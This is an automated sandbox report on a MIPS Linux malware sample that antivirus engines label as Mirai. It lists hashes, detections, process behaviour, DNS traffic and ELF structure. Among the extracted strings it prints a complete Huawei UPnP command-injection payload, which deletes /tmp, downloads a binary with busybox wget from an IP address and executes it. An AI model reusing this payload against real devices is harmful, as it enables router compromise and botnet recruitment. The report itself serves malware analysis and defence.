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Linux Analysis Report
2.elf

Overview

General Information

Sample name:2.elf
Analysis ID:1586896
MD5:b700977797afb3eabe273c0c3258b008
SHA1:12c1a2ca009fb1acd8b272ce25c74085fe7792be
SHA256:6423eec2be39ccab454aed8adf4b64d238f3ebe46c131fd0215fefcba8bf4d9a
Tags:elfuser-abuse_ch
Infos:

Detection

Score:56
Range:0 - 100
Whitelisted:false

Signatures

Antivirus / Scanner detection for submitted sample
Multi AV Scanner detection for submitted file
Enumerates processes within the "proc" file system
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample has stripped symbol table
Sample tries to kill a process (SIGKILL)
Uses the "uname" system call to query kernel version information (possible evasion)

Classification

Joe Sandbox version:42.0.0 Malachite
Analysis ID:1586896
Start date and time:2025-01-09 18:32:07 +01:00
Joe Sandbox product:CloudBasic
Overall analysis duration:0h 4m 32s
Hypervisor based Inspection enabled:false
Report type:full
Cookbook file name:defaultlinuxfilecookbook.jbs
Analysis system description:Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:default
Sample name:2.elf
Detection:MAL
Classification:mal56.linELF@0/0@2/0
  • VT rate limit hit for: 2.elf
Command:/tmp/2.elf
PID:5431
Exit Code:139
Exit Code Info:SIGSEGV (11) Segmentation fault invalid memory reference
Killed:False
Standard Output:

Standard Error:qemu: uncaught target signal 11 (Segmentation fault) - core dumped
  • system is lnxubuntu20
  • 2.elf (PID: 5431, Parent: 5358, MD5: 0d6f61f82cf2f781c6eb0661071d42d9) Arguments: /tmp/2.elf
  • cleanup
No yara matches
No Suricata rule has matched

Click to jump to signature section

Show All Signature Results

AV Detection

barindex
Source: 2.elfAvira: detected
Source: 2.elfReversingLabs: Detection: 34%
Source: global trafficDNS traffic detected: DNS query: daisy.ubuntu.com
Source: 2.elfString found in binary or memory: http://%d.%d.%d.%d/%s
Source: 2.elfString found in binary or memory: http://%d.%d.%d.%d/%s;
Source: 2.elfString found in binary or memory: http://%d.%d.%d.%d/2;
Source: 2.elf, 5431.1.00007fbe0045e000.00007fbe00463000.rw-.sdmpString found in binary or memory: http://1/wget.sh
Source: 2.elf, 5431.1.00007fbe0045e000.00007fbe00463000.rw-.sdmpString found in binary or memory: http://9/curl.sh
Source: 2.elfString found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: 2.elfString found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/
Source: Initial sampleString containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(rm -rf /tmp/*; /bin/busybox wget -g %d.%d.%d.%d -l /tmp/.vs -r /h; /bin/busybox chmod 777 /tmp/.vs; /tmp/.vs; sh /tmp/.vs)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: Initial sampleString containing 'busybox' found: %s%d%s<?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(rm -rf /tmp/*; /bin/busybox wget -g %d.%d.%d.%d -l /tmp/.vs -r /h; /bin/busybox chmod 777 /tmp/.vs; /tmp/.vs; sh /tmp/.vs)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>POST /ctrlt/DeviceUpgrade_1 HTTP/1.1
Source: ELF static info symbol of initial sample.symtab present: no
Source: /tmp/2.elf (PID: 5431)SIGKILL sent: pid: 3104, result: successfulJump to behavior
Source: classification engineClassification label: mal56.linELF@0/0@2/0
Source: /tmp/2.elf (PID: 5431)File opened: /proc/790/cmdlineJump to behavior
Source: /tmp/2.elf (PID: 5431)File opened: /proc/792/cmdlineJump to behavior
Source: /tmp/2.elf (PID: 5431)File opened: /proc/793/cmdlineJump to behavior
Source: /tmp/2.elf (PID: 5431)File opened: /proc/1930/cmdlineJump to behavior
Source: /tmp/2.elf (PID: 5431)File opened: /proc/795/cmdlineJump to behavior
Source: /tmp/2.elf (PID: 5431)File opened: /proc/1411/cmdlineJump to behavior
Source: /tmp/2.elf (PID: 5431)File opened: /proc/2984/cmdlineJump to behavior
Source: /tmp/2.elf (PID: 5431)File opened: /proc/1410/cmdlineJump to behavior
Source: /tmp/2.elf (PID: 5431)File opened: /proc/797/cmdlineJump to behavior
Source: /tmp/2.elf (PID: 5431)File opened: /proc/914/cmdlineJump to behavior
Source: /tmp/2.elf (PID: 5431)File opened: /proc/917/cmdlineJump to behavior
Source: /tmp/2.elf (PID: 5431)File opened: /proc/5431/statusJump to behavior
Source: /tmp/2.elf (PID: 5431)File opened: /proc/3095/cmdlineJump to behavior
Source: /tmp/2.elf (PID: 5431)File opened: /proc/1745/cmdlineJump to behavior
Source: /tmp/2.elf (PID: 5431)File opened: /proc/1866/cmdlineJump to behavior
Source: /tmp/2.elf (PID: 5431)File opened: /proc/1/cmdlineJump to behavior
Source: /tmp/2.elf (PID: 5431)File opened: /proc/1588/cmdlineJump to behavior
Source: /tmp/2.elf (PID: 5431)File opened: /proc/1940/cmdlineJump to behavior
Source: /tmp/2.elf (PID: 5431)File opened: /proc/884/cmdlineJump to behavior
Source: /tmp/2.elf (PID: 5431)File opened: /proc/1982/cmdlineJump to behavior
Source: /tmp/2.elf (PID: 5431)File opened: /proc/765/cmdlineJump to behavior
Source: /tmp/2.elf (PID: 5431)File opened: /proc/800/cmdlineJump to behavior
Source: /tmp/2.elf (PID: 5431)File opened: /proc/767/cmdlineJump to behavior
Source: /tmp/2.elf (PID: 5431)File opened: /proc/1906/cmdlineJump to behavior
Source: /tmp/2.elf (PID: 5431)File opened: /proc/802/cmdlineJump to behavior
Source: /tmp/2.elf (PID: 5431)File opened: /proc/803/cmdlineJump to behavior
Source: /tmp/2.elf (PID: 5431)File opened: /proc/726/cmdlineJump to behavior
Source: /tmp/2.elf (PID: 5431)File opened: /proc/727/cmdlineJump to behavior
Source: /tmp/2.elf (PID: 5431)File opened: /proc/1748/cmdlineJump to behavior
Source: /tmp/2.elf (PID: 5431)File opened: /proc/1946/cmdlineJump to behavior
Source: /tmp/2.elf (PID: 5431)File opened: /proc/1944/cmdlineJump to behavior
Source: /tmp/2.elf (PID: 5431)File opened: /proc/3100/cmdlineJump to behavior
Source: /tmp/2.elf (PID: 5431)File opened: /proc/1482/cmdlineJump to behavior
Source: /tmp/2.elf (PID: 5431)File opened: /proc/490/cmdlineJump to behavior
Source: /tmp/2.elf (PID: 5431)File opened: /proc/1480/cmdlineJump to behavior
Source: /tmp/2.elf (PID: 5431)File opened: /proc/1755/cmdlineJump to behavior
Source: /tmp/2.elf (PID: 5431)File opened: /proc/1832/cmdlineJump to behavior
Source: /tmp/2.elf (PID: 5431)File opened: /proc/1875/cmdlineJump to behavior
Source: /tmp/2.elf (PID: 5431)File opened: /proc/2964/cmdlineJump to behavior
Source: /tmp/2.elf (PID: 5431)File opened: /proc/1432/cmdlineJump to behavior
Source: /tmp/2.elf (PID: 5431)File opened: /proc/1751/cmdlineJump to behavior
Source: /tmp/2.elf (PID: 5431)File opened: /proc/1872/cmdlineJump to behavior
Source: /tmp/2.elf (PID: 5431)File opened: /proc/2961/cmdlineJump to behavior
Source: /tmp/2.elf (PID: 5431)File opened: /proc/1475/cmdlineJump to behavior
Source: /tmp/2.elf (PID: 5431)File opened: /proc/778/cmdlineJump to behavior
Source: /tmp/2.elf (PID: 5431)File opened: /proc/855/cmdlineJump to behavior
Source: /tmp/2.elf (PID: 5431)File opened: /proc/936/cmdlineJump to behavior
Source: /tmp/2.elf (PID: 5431)File opened: /proc/2926/cmdlineJump to behavior
Source: /tmp/2.elf (PID: 5431)File opened: /proc/816/cmdlineJump to behavior
Source: /tmp/2.elf (PID: 5431)File opened: /proc/1879/cmdlineJump to behavior
Source: /tmp/2.elf (PID: 5431)File opened: /proc/1891/cmdlineJump to behavior
Source: /tmp/2.elf (PID: 5431)File opened: /proc/1691/cmdlineJump to behavior
Source: /tmp/2.elf (PID: 5431)File opened: /proc/780/cmdlineJump to behavior
Source: /tmp/2.elf (PID: 5431)File opened: /proc/660/cmdlineJump to behavior
Source: /tmp/2.elf (PID: 5431)File opened: /proc/1921/cmdlineJump to behavior
Source: /tmp/2.elf (PID: 5431)File opened: /proc/783/cmdlineJump to behavior
Source: /tmp/2.elf (PID: 5431)File opened: /proc/1765/cmdlineJump to behavior
Source: /tmp/2.elf (PID: 5431)File opened: /proc/2974/cmdlineJump to behavior
Source: /tmp/2.elf (PID: 5431)File opened: /proc/1400/cmdlineJump to behavior
Source: /tmp/2.elf (PID: 5431)File opened: /proc/1565/cmdlineJump to behavior
Source: /tmp/2.elf (PID: 5431)File opened: /proc/1884/cmdlineJump to behavior
Source: /tmp/2.elf (PID: 5431)File opened: /proc/2972/cmdlineJump to behavior
Source: /tmp/2.elf (PID: 5431)File opened: /proc/1563/cmdlineJump to behavior
Source: /tmp/2.elf (PID: 5431)File opened: /proc/1881/cmdlineJump to behavior
Source: /tmp/2.elf (PID: 5431)File opened: /proc/2970/cmdlineJump to behavior
Source: /tmp/2.elf (PID: 5431)File opened: /proc/3069/cmdlineJump to behavior
Source: /tmp/2.elf (PID: 5431)File opened: /proc/1609/cmdlineJump to behavior
Source: /tmp/2.elf (PID: 5431)File opened: /proc/1805/cmdlineJump to behavior
Source: /tmp/2.elf (PID: 5431)File opened: /proc/1804/cmdlineJump to behavior
Source: /tmp/2.elf (PID: 5431)File opened: /proc/1925/cmdlineJump to behavior
Source: /tmp/2.elf (PID: 5431)File opened: /proc/1969/cmdlineJump to behavior
Source: /tmp/2.elf (PID: 5431)File opened: /proc/1847/cmdlineJump to behavior
Source: /tmp/2.elf (PID: 5431)File opened: /proc/2936/cmdlineJump to behavior
Source: /tmp/2.elf (PID: 5431)File opened: /proc/1604/cmdlineJump to behavior
Source: /tmp/2.elf (PID: 5431)File opened: /proc/2935/cmdlineJump to behavior
Source: /tmp/2.elf (PID: 5431)File opened: /proc/1922/cmdlineJump to behavior
Source: /tmp/2.elf (PID: 5431)Queries kernel information via 'uname': Jump to behavior
Source: 2.elf, 5431.1.00005650301eb000.0000565030293000.rw-.sdmpBinary or memory string: /etc/qemu-binfmt/mipsel
Source: 2.elf, 5431.1.00007ffd36de2000.00007ffd36e03000.rw-.sdmpBinary or memory string: x86_64/usr/bin/qemu-mipsel/tmp/2.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/2.elf
Source: 2.elf, 5431.1.00007ffd36de2000.00007ffd36e03000.rw-.sdmpBinary or memory string: qemu: uncaught target signal 11 (Segmentation fault) - core dumped
Source: 2.elf, 5431.1.00007ffd36de2000.00007ffd36e03000.rw-.sdmpBinary or memory string: /usr/bin/qemu-mipsel
Source: 2.elf, 5431.1.00005650301eb000.0000565030293000.rw-.sdmpBinary or memory string: 0PV 0PV!/etc/qemu-binfmt/mipsel
ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
Gather Victim Identity InformationAcquire InfrastructureValid AccountsWindows Management InstrumentationPath InterceptionPath InterceptionDirect Volume Access1
OS Credential Dumping
11
Security Software Discovery
Remote ServicesData from Local System1
Non-Application Layer Protocol
Exfiltration Over Other Network MediumAbuse Accessibility Features
CredentialsDomainsDefault AccountsScheduled Task/JobBoot or Logon Initialization ScriptsBoot or Logon Initialization ScriptsRootkitLSASS MemoryApplication Window DiscoveryRemote Desktop ProtocolData from Removable Media1
Application Layer Protocol
Exfiltration Over BluetoothNetwork Denial of Service
No configs have been found
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Number of created Files
  • Is malicious
  • Internet
SourceDetectionScannerLabelLink
2.elf34%ReversingLabsLinux.Trojan.Mirai
2.elf100%AviraEXP/ELF.Mirai.Hua.a
No Antivirus matches
No Antivirus matches
No Antivirus matches
NameIPActiveMaliciousAntivirus DetectionReputation
daisy.ubuntu.com
162.213.35.25
truefalse
    high
    NameSourceMaliciousAntivirus DetectionReputation
    http://%d.%d.%d.%d/%s2.elffalse
      unknown
      http://1/wget.sh2.elf, 5431.1.00007fbe0045e000.00007fbe00463000.rw-.sdmpfalse
        high
        http://schemas.xmlsoap.org/soap/encoding/2.elffalse
          high
          http://%d.%d.%d.%d/%s;2.elffalse
            unknown
            http://9/curl.sh2.elf, 5431.1.00007fbe0045e000.00007fbe00463000.rw-.sdmpfalse
              high
              http://%d.%d.%d.%d/2;2.elffalse
                high
                http://schemas.xmlsoap.org/soap/envelope/2.elffalse
                  high
                  No contacted IP infos
                  No context
                  MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                  daisy.ubuntu.comFantazy.i486.elfGet hashmaliciousUnknownBrowse
                  • 162.213.35.25
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                  • 162.213.35.24
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                  • 162.213.35.24
                  Fantazy.m68k.elfGet hashmaliciousUnknownBrowse
                  • 162.213.35.25
                  Fantazy.arm6.elfGet hashmaliciousUnknownBrowse
                  • 162.213.35.24
                  Fantazy.spc.elfGet hashmaliciousUnknownBrowse
                  • 162.213.35.24
                  sora.arm6.elfGet hashmaliciousUnknownBrowse
                  • 162.213.35.24
                  sora.m68k.elfGet hashmaliciousUnknownBrowse
                  • 162.213.35.24
                  sora.ppc.elfGet hashmaliciousUnknownBrowse
                  • 162.213.35.25
                  No context
                  No context
                  No context
                  No created / dropped files found
                  File type:ELF 32-bit LSB executable, MIPS, MIPS-I version 1 (SYSV), statically linked, stripped
                  Entropy (8bit):5.557137669897097
                  TrID:
                  • ELF Executable and Linkable format (generic) (4004/1) 100.00%
                  File name:2.elf
                  File size:122'160 bytes
                  MD5:b700977797afb3eabe273c0c3258b008
                  SHA1:12c1a2ca009fb1acd8b272ce25c74085fe7792be
                  SHA256:6423eec2be39ccab454aed8adf4b64d238f3ebe46c131fd0215fefcba8bf4d9a
                  SHA512:2e38569bd47f7289c94293d9aff03fc7cb792a1a53b8d720e7a10e1cda6a4e6562848412449181d74f0e66e79aa03a19dd56e423c419aaba986b9c528489ea17
                  SSDEEP:1536:bo1nQTMBT7YNR1K/A+F4/hvTdwqFYoDVQpLm6HpadXCTIn9xY9/YXRdHo6AUUgZZ:bo1nQTMV7QLKvF45xwqFexad+/Khr
                  TLSH:03C3C81BBB660FF7E86ECD3B01E8074524DCA71621A97B357538D828F64A54F4AD38B0
                  File Content Preview:.ELF....................p.@.4...........4. ...(...............@...@.0...0.....................E...E.h...p<..........Q.td...............................<\T.'!......'.......................<8T.'!.............9'.. ........................<.T.'!... .........9

                  ELF header

                  Class:ELF32
                  Data:2's complement, little endian
                  Version:1 (current)
                  Machine:MIPS R3000
                  Version Number:0x1
                  Type:EXEC (Executable file)
                  OS/ABI:UNIX - System V
                  ABI Version:0
                  Entry Point Address:0x400270
                  Flags:0x1007
                  ELF Header Size:52
                  Program Header Offset:52
                  Program Header Size:32
                  Number of Program Headers:3
                  Section Header Offset:121560
                  Section Header Size:40
                  Number of Section Headers:15
                  Header String Table Index:14
                  NameTypeAddressOffsetSizeEntSizeFlagsFlags DescriptionLinkInfoAlign
                  NULL0x00x00x00x00x0000
                  .initPROGBITS0x4000940x940x8c0x00x6AX004
                  .textPROGBITS0x4001200x1200x1ab400x00x6AX0016
                  .finiPROGBITS0x41ac600x1ac600x5c0x00x6AX004
                  .rodataPROGBITS0x41acc00x1acc00x1d700x00x2A0016
                  .eh_framePROGBITS0x45d0000x1d0000x40x00x3WA004
                  .ctorsPROGBITS0x45d0040x1d0040x80x00x3WA004
                  .dtorsPROGBITS0x45d00c0x1d00c0x80x00x3WA004
                  .data.rel.roPROGBITS0x45d0180x1d0180xc0x00x3WA004
                  .dataPROGBITS0x45d0300x1d0300x4c80x00x3WA0016
                  .gotPROGBITS0x45d5000x1d5000x5680x40x10000003WAp0016
                  .sbssNOBITS0x45da680x1da680x1c0x00x10000003WAp004
                  .bssNOBITS0x45da900x1da680x31e00x00x3WA0016
                  .mdebug.abi32PROGBITS0x9a20x1da680x00x00x0001
                  .shstrtabSTRTAB0x00x1da680x6e0x00x0001
                  TypeOffsetVirtual AddressPhysical AddressFile SizeMemory SizeEntropyFlagsFlags DescriptionAlignProg InterpreterSection Mappings
                  LOAD0x00x4000000x4000000x1ca300x1ca305.59310x5R E0x10000.init .text .fini .rodata
                  LOAD0x1d0000x45d0000x45d0000xa680x3c705.27090x6RW 0x10000.eh_frame .ctors .dtors .data.rel.ro .data .got .sbss .bss
                  GNU_STACK0x00x00x00x00x00.00000x7RWE0x4
                  TimestampSource PortDest PortSource IPDest IP
                  Jan 9, 2025 18:33:03.439198971 CET4933253192.168.2.138.8.8.8
                  Jan 9, 2025 18:33:03.439305067 CET4337253192.168.2.138.8.8.8
                  Jan 9, 2025 18:33:03.445548058 CET53433728.8.8.8192.168.2.13
                  Jan 9, 2025 18:33:03.445672035 CET53493328.8.8.8192.168.2.13
                  TimestampSource IPDest IPTrans IDOP CodeNameTypeClassDNS over HTTPS
                  Jan 9, 2025 18:33:03.439198971 CET192.168.2.138.8.8.80x48e7Standard query (0)daisy.ubuntu.comA (IP address)IN (0x0001)false
                  Jan 9, 2025 18:33:03.439305067 CET192.168.2.138.8.8.80xf88cStandard query (0)daisy.ubuntu.com28IN (0x0001)false
                  TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClassDNS over HTTPS
                  Jan 9, 2025 18:33:03.445672035 CET8.8.8.8192.168.2.130x48e7No error (0)daisy.ubuntu.com162.213.35.25A (IP address)IN (0x0001)false
                  Jan 9, 2025 18:33:03.445672035 CET8.8.8.8192.168.2.130x48e7No error (0)daisy.ubuntu.com162.213.35.24A (IP address)IN (0x0001)false

                  System Behavior

                  Start time (UTC):17:32:59
                  Start date (UTC):09/01/2025
                  Path:/tmp/2.elf
                  Arguments:/tmp/2.elf
                  File size:5773336 bytes
                  MD5 hash:0d6f61f82cf2f781c6eb0661071d42d9